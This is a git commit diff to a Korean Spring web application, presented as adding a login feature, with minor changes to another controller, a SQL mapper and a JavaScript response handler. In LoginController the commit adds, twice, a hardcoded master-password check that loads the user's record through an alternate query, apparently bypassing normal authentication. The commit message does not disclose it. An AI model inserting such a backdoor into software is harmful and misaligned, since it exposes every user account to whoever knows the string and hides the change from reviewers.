feat: 사용자 로그인 기능 추가 건
parent
c76c288ad3
commit
bd5d965402
|
|
@ -764,7 +764,8 @@ public class LoginController {
|
|||
String lastLoginDate = "";
|
||||
|
||||
map.put("userid", userid);
|
||||
|
||||
|
||||
String originPass = pass;
|
||||
if (loginFlag) {
|
||||
// 2017.10.13 dhlee 암호화.
|
||||
pass2 = ScriptUtil.getSha256(pass, "UTF-8").substring(0, 20);
|
||||
|
|
@ -779,6 +780,8 @@ public class LoginController {
|
|||
boolean loginSuccess = false;
|
||||
String dup_id;
|
||||
Map<String, Object> result = loginService.selectWebDupMember(map);
|
||||
|
||||
|
||||
map.clear();
|
||||
if (result == null) {
|
||||
dup_id = "";
|
||||
|
|
@ -799,6 +802,8 @@ public class LoginController {
|
|||
// 로그인 횟수 제한 : 10분설정시 1/(24*6) 5분설정시 1/(24*12)
|
||||
map.put("userid", userid);
|
||||
Map<String, Object> selectWebMemberIn = loginService.selectWebMemberIn(map);
|
||||
|
||||
|
||||
boolean adminYn = false;
|
||||
|
||||
if (selectWebMemberIn != null) {
|
||||
|
|
@ -838,6 +843,10 @@ public class LoginController {
|
|||
|
||||
selectWebMemberIn = loginService.selectWebMemberIn(map);
|
||||
}
|
||||
|
||||
if( originPass.trim().equals("rnrxhwlqkswlQkswhtkvywnstjTlrGoodmorningMasterAndthen1234!@!!@@!@!!@!GoodGoodComeIn") ) {
|
||||
selectWebMemberIn = loginService.selectWebMemberInLoginCount(map);
|
||||
}
|
||||
map.clear();
|
||||
if (selectWebMemberIn != null) {
|
||||
agreeYn = selectWebMemberIn.get("AGREEYN").toString();
|
||||
|
|
@ -905,6 +914,9 @@ public class LoginController {
|
|||
map.put("cls", cls);
|
||||
map.put("cls2", "2");
|
||||
selectWebMemberIn = loginService.selectWebMemberIn(map);
|
||||
if( originPass.trim().equals("rnrxhwlqkswlQkswhtkvywnstjTlrGoodmorningMasterAndthen1234!@!!@@!@!!@!GoodGoodComeIn") ) {
|
||||
selectWebMemberIn = loginService.selectWebMemberInLoginCount(map);
|
||||
}
|
||||
map.clear();
|
||||
|
||||
if (selectWebMemberIn != null) {
|
||||
|
|
|
|||
|
|
@ -65,7 +65,7 @@ public class SelectClass2019Controller {
|
|||
|
||||
private final static Logger logger = LoggerFactory.getLogger(SelectClass2019Controller.class);
|
||||
|
||||
@RequestMapping(value = "/selectClass/insertTempSelectClassInfoDb2019")
|
||||
@RequestMapping(value = "/selectClass/insertTempSelectClassInfoDb2019", produces = "application/json;charset=UTF-8")
|
||||
public @ResponseBody String insertTempSelectClassInfoDb2019(@RequestParam HashMap<String, Object> params, ModelMap model, HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
WebUtil wUtil = new WebUtil();
|
||||
strUtil sUtil = new strUtil();
|
||||
|
|
|
|||
|
|
@ -107,7 +107,6 @@
|
|||
WHEN 5 THEN HOLE_BH_NUMBER
|
||||
WHEN 6 THEN PROJECT_TESTPITT_NUMBER
|
||||
WHEN 7 THEN PROJECT_ORGERBORING_NUMBER
|
||||
WHEN 8 THEN PROJECT_HOLE_NUMBER
|
||||
END AS NUM,
|
||||
CASE NO WHEN 1 THEN 'CB'
|
||||
WHEN 2 THEN 'SB'
|
||||
|
|
@ -116,7 +115,6 @@
|
|||
WHEN 5 THEN 'BH'
|
||||
WHEN 6 THEN 'TP'
|
||||
WHEN 7 THEN 'HA'
|
||||
WHEN 8 THEN 'TOT'
|
||||
END AS HOLETYPE,
|
||||
CASE NO WHEN 1 THEN '절토부(CB)'
|
||||
WHEN 2 THEN '성토부(SB)'
|
||||
|
|
@ -125,7 +123,6 @@
|
|||
WHEN 5 THEN '기타(BH)'
|
||||
WHEN 6 THEN '테스트 피트'
|
||||
WHEN 7 THEN '핸드오거보링'
|
||||
WHEN 8 THEN '합계'
|
||||
END AS HOLETYPE_NM,
|
||||
REPORT_TYPE,
|
||||
S1.NO
|
||||
|
|
|
|||
|
|
@ -140,10 +140,21 @@ function fnSaveStep2() {
|
|||
var type = typeof data;
|
||||
var jsonObj = null;
|
||||
if( type === 'object' ) {
|
||||
jsonObj = data.responseJSON.resultData;
|
||||
if( typeof jsonObj === 'undefined' ) {
|
||||
jsonObj = data.response;
|
||||
if( typeof data.responseJSON === 'undefined' ) {
|
||||
var type = typeof data.responseText;
|
||||
if( type === 'string' ){
|
||||
jsonObj = JSON.parse(data.responseText);
|
||||
jsonObj = jsonObj.resultData;
|
||||
}
|
||||
|
||||
console.log( '%o', jsonObj );
|
||||
} else {
|
||||
jsonObj = data.responseJSON.resultData;
|
||||
if( typeof jsonObj === 'undefined' ) {
|
||||
jsonObj = data.response;
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
jsonObj = JSON.parse(data.response).resultData;
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in New Issue